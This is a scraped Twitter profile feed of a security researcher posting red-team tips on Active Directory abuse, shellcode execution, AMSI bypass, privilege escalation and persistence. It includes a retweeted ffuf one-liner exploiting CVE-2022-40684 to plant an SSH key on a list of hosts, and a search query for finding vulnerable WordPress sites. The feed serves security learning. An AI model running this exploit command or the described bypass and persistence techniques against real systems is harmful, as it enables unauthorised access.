Khalid Maina (@cyb3rkh4l1d) 's Twitter Profile
Khalid Maina

@cyb3rkh4l1d

Professional@( AppSec | ApiSec | NetSec | OffSec | InfoSec ).
Enthusiast@(Robotics | MicroServices ).

ID: 1476727935356715008

linkhttps://cyberkhalid.com calendar_today31-12-2021 01:32:55

297 Tweet

504 Followers

364 Following

Khalid Maina (@cyb3rkh4l1d) 's Twitter Profile Photo

If attacker is able to manipulate the ACL for AdminSDHolder, then those ACL will automatically be applied to all protected objects. #cybersecurity #infosec #pentesting #redteam #windows #activedirectory

If attacker is able to manipulate the ACL for AdminSDHolder, then those ACL will automatically be applied to all protected objects.

#cybersecurity #infosec #pentesting #redteam #windows #activedirectory
Khalid Maina (@cyb3rkh4l1d) 's Twitter Profile Photo

Adversaries may leverage the Windows CreateThread function from Kernel32.dll to execute a malicious code within the virtual address space of the calling process. cyberkhalid.github.io/posts/createth… #cybersecurity #infosec #redteam #windows

Adversaries may leverage the Windows CreateThread function from Kernel32.dll to execute a malicious code within the virtual address space of the calling process.

cyberkhalid.github.io/posts/createth…

#cybersecurity #infosec #redteam  #windows
Khalid Maina (@cyb3rkh4l1d) 's Twitter Profile Photo

If we can change the configuration of a service, and at thesame time we can stop/start the service , then we can achieve Privilege Escalation if the service runs with a higher privileges. cyberkhalid.github.io/posts/winprivs… #cybersecurity #infosec #redteam #windows

If we can change the configuration of a service, and at thesame time we can stop/start the service , then we can achieve Privilege Escalation if the service runs with a higher privileges.

cyberkhalid.github.io/posts/winprivs…

#cybersecurity #infosec #redteam #windows
Khalid Maina (@cyb3rkh4l1d) 's Twitter Profile Photo

Once you got root access on any host, you can add any scheduled task. You could even just configure a task where every minute a reverse shell is sent to you. cyberkhalid.github.io/posts/pcron/ #redteam #cybersecurity #infosec

Once you got root access on any host, you can add any scheduled task. You could even just configure a task where every minute a reverse shell is sent to you. 

cyberkhalid.github.io/posts/pcron/

#redteam #cybersecurity #infosec
Khalid Maina (@cyb3rkh4l1d) 's Twitter Profile Photo

Since AmsiScanBuffer() function is responsible for checking the inputs for malicious content, We can modify the function to always return 0 regardless of whether or not the input is malicious. Since returning 0 simply means the function successfully scanned the inputs.

Since AmsiScanBuffer() function is responsible for checking the inputs for malicious content, We can modify the function to always return 0 regardless of whether or not the input is malicious. Since returning 0 simply means the function successfully scanned the inputs.
Khalid Maina (@cyb3rkh4l1d) 's Twitter Profile Photo

Pass the Ticket(Ptt) is a credential theft technique that enables adversaries to use stolen Kerberos tickets to authenticate to resources (e.g., file shares and other computers) as a user without having to compromise that user’s password. cyberkhalid.github.io/posts/ptt/ #cybersecurity

Pass the Ticket(Ptt) is a credential theft technique that enables adversaries to use stolen Kerberos tickets to authenticate to resources (e.g., file shares and other computers) as a user without having to compromise that user’s password.

cyberkhalid.github.io/posts/ptt/

#cybersecurity
Khalid Maina (@cyb3rkh4l1d) 's Twitter Profile Photo

If the server implicitly trusts the Host header, and fails to validate or escape it properly, an attacker may be able to use this input to inject harmful payloads that manipulate server-side behavior. This could lead to authentication bypass. cyberkhalid.github.io/posts/hheada/ #infosec

If the server implicitly trusts the Host header, and fails to validate or escape it properly, an attacker may be able to use this input to inject harmful payloads that manipulate server-side behavior. This could lead to authentication bypass.

cyberkhalid.github.io/posts/hheada/

#infosec
H4x0r.DZ (@h4x0r_dz) 's Twitter Profile Photo

CVE-2022-40684 ffuf -w "host_list.txt:URL" -u "https://URL/api/v2/cmdb/system/admin/admin" -X PUT -H 'User-Agent: Report Runner' -H 'Content-Type: application/json' -H 'Forwarded: for="[127.0.0.1]:8000";by=”[127.0.0.1]:9000";' -d '{"ssh-public-key1": "h4x0r"}' -mr "SSH" -r

CVE-2022-40684

ffuf -w "host_list.txt:URL" -u "https://URL/api/v2/cmdb/system/admin/admin" -X PUT -H 'User-Agent: Report Runner' -H 'Content-Type: application/json' -H 'Forwarded: for="[127.0.0.1]:8000";by=”[127.0.0.1]:9000";' -d '{"ssh-public-key1": "h4x0r"}' -mr "SSH" -r
Khalid Maina (@cyb3rkh4l1d) 's Twitter Profile Photo

Malware can use CreateThread() function from kernel32.dll library to execute a shellcode. #cybersecurity #infosec #offsec #redteaming #pentesting #windows

Malware can use CreateThread() function from kernel32.dll library to execute a shellcode.

#cybersecurity #infosec #offsec #redteaming #pentesting #windows
CVE (@cvenew) 's Twitter Profile Photo

CVE-2022-42983 anji-plus AJ-Report 0.9.8.6 allows remote attackers to bypass login authentication by spoofing JWT Tokens. cve.mitre.org/cgi-bin/cvenam…

Khalid Maina (@cyb3rkh4l1d) 's Twitter Profile Photo

Shellcode will be executed by calling EnumPageFilesW() function with the pCallBackRoutine parameter set to the base address of the shellcode. #cybersecurity #infosec #redteaming #pentesting

Shellcode will be executed by calling EnumPageFilesW() function with the pCallBackRoutine parameter set to the base address of the shellcode.

#cybersecurity #infosec #redteaming #pentesting
Khalid Maina (@cyb3rkh4l1d) 's Twitter Profile Photo

This is possible because any machine account with SERVER_TRUST_ACCOUNT flag set will have the Replications right. cyberkhalid.github.io/posts/machuser/

This is possible because any machine account with SERVER_TRUST_ACCOUNT flag set will have the Replications right.

cyberkhalid.github.io/posts/machuser/
Khalid Maina (@cyb3rkh4l1d) 's Twitter Profile Photo

The path is clear -> If you have GenericAll on a group, you can add yourself to the group -> If you have WriteDacl on a domain, You can execute Dcsync Attack to retrieve Account hashes. ->If you have hashes, you can execute Pass-The-Hash attack to gain access Simple #infosec

The path is clear

-> If you have GenericAll on a group, you can add yourself to the group
-> If you have WriteDacl on a domain, You can execute Dcsync Attack to retrieve Account hashes.
->If you have hashes, you can execute Pass-The-Hash attack to gain access

Simple

#infosec
Khalid Maina (@cyb3rkh4l1d) 's Twitter Profile Photo

Another hit🔥 Tips: After removing the invited user, try to use the invitation link sent to the user. #bugbountytips #hackerone #infosec

Another hit🔥

Tips: After removing the invited user, try to use the invitation link sent to the user.

#bugbountytips #hackerone #infosec
Khalid Maina (@cyb3rkh4l1d) 's Twitter Profile Photo

-> Establish persistence using schtasks. -> This will create a scheduled task to spawn backdoor.exe at 11:30. #infosec #cybersecuritytips #redteam

-> Establish persistence using schtasks.
-> This will create a scheduled task to spawn backdoor.exe at 11:30.
#infosec #cybersecuritytips #redteam
FofaBot (@fofabot) 's Twitter Profile Photo

#CVE-2023-2982 #WordPress Social Login and Register authentication bypass🚩 FOFA Query: body="/wp-content/plugins/miniorange-login-openid" Link: enbeta.fofa.info/result?qbase64… Refer: lana.codes/lanavdb/2326f4… #cybersecurity #infosec #OSINT #FOFA #ThreatIntelligence

#CVE-2023-2982 #WordPress Social Login and Register authentication bypass🚩

FOFA Query: body="/wp-content/plugins/miniorange-login-openid"

Link: enbeta.fofa.info/result?qbase64…

Refer: lana.codes/lanavdb/2326f4…

#cybersecurity #infosec #OSINT #FOFA #ThreatIntelligence
BleepingComputer (@bleepincomputer) 's Twitter Profile Photo

Defend your network with $70 off this cybersecurity course bundle bleepingcomputer.com/offer/deals/de… bleepingcomputer.com/offer/deals/de…